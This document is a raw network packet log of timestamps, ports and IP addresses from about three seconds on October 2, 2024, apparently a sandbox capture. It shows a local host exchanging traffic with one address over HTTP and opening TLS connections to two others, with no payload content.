Oct 2, 2024 17:17:07.205445051 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205470085 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205477953 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205518961 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205539942 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205641985 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205768108 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205964088 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205992937 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206027031 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206053019 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206059933 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206093073 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206115007 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206125975 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206151009 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206176996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206213951 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206238031 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206242085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206264019 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206294060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206327915 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206355095 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206433058 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206449986 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206481934 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206504107 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206516027 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206549883 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206573963 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.206672907 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.206698895 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207448006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207478046 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207501888 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207529068 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207556009 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207561970 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207582951 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207595110 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207628965 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207648993 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207664013 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207715034 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207736969 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207767963 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207802057 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207822084 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207834005 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207874060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207896948 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207907915 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207931995 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207942963 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.207967997 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.207978010 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.208007097 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.208026886 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.211783886 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.288539886 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.288558006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.288568974 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.288661957 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.288661957 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.288806915 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.288817883 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.288837910 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.288891077 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.288891077 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.291616917 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291651011 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291678905 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.291683912 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291735888 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291757107 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.291768074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291819096 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291840076 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.291851044 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291884899 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291906118 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.291915894 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291948080 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.291968107 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.291980028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292021036 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292042017 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292053938 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292078972 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292120934 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292171955 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292191982 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292203903 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292227030 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292253017 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292273998 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292284012 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292309046 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292320013 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292370081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292391062 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292402029 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292434931 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292455912 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292499065 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292531013 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292562008 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292587042 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292587042 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292596102 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292618990 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292629004 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292649984 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292660952 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292681932 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292695999 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292835951 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292856932 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292867899 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292901993 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292922020 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292933941 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292967081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.292988062 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.292998075 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293030977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293051958 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293064117 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293086052 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293097019 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293148994 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293180943 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293184042 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293207884 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293215990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293239117 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293250084 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293282032 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293302059 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293313980 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293346882 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293368101 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293379068 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293400049 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293414116 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293524027 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293577909 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293611050 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293632984 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293644905 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293678045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293699026 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293710947 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293731928 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293742895 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293775082 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293795109 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293807030 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293838978 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293858051 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293869972 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293903112 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293927908 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293934107 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293956041 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.293967009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.293998957 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294009924 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294033051 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294059992 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294065952 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294086933 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294097900 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294120073 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294130087 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294162989 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294187069 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294197083 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294224977 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294234037 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294318914 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294344902 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294352055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294385910 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294394970 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294428110 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294461012 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294481993 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294493914 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294527054 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294548035 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294559002 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294590950 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.294611931 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.294625998 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.295599937 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.607546091 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:07.607600927 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:07.607719898 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:07.608654022 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:07.608669996 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:08.259264946 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:08.259330988 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:08.259888887 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:08.259896040 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:08.262182951 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:08.262188911 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:09.280710936 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:09.280774117 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:09.280791044 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:09.280836105 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:09.280863047 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:09.280905962 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:09.281096935 CEST	65264	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:09.281112909 CEST	443	65264	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:09.282352924 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.589148998 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.660497904 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.660510063 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.680603981 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:09.680665970 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:09.680740118 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:09.682241917 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:09.682254076 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:09.838144064 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838165045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838176012 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838187933 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838198900 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838208914 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838219881 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838229895 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838241100 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838243008 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838249922 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838259935 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838313103 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838361025 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838371992 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838382006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838392019 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838397980 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838402033 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838414907 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838430882 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838460922 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838469982 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838500977 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838628054 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838638067 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838649035 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838658094 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838668108 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838670015 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838679075 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838689089 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838699102 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838705063 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838709116 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838720083 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.838726044 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838751078 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.838871002 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839036942 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839046955 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839056969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839066982 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839076996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839087009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839097023 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839106083 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839116096 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839126110 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839128017 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839137077 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839152098 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839173079 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839279890 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839292049 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839302063 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839320898 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839343071 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839421034 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839431047 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839442015 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839452028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839462996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839468002 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839473009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839485884 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839495897 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839498997 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839507103 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839509010 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839533091 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839560986 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839931965 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839942932 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839952946 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839962959 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839972973 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839982986 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.839982986 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.839993000 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840003967 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840013027 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840023041 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840029001 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840033054 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840045929 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840049028 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840070009 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840095043 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840388060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840398073 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840408087 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840418100 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840424061 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840429068 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840441942 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840445042 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840455055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840465069 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840471029 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840475082 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840486050 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840490103 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840496063 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840507030 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840511084 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840517044 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840526104 CEST	80	65263	147.45.44.104	192.168.2.6
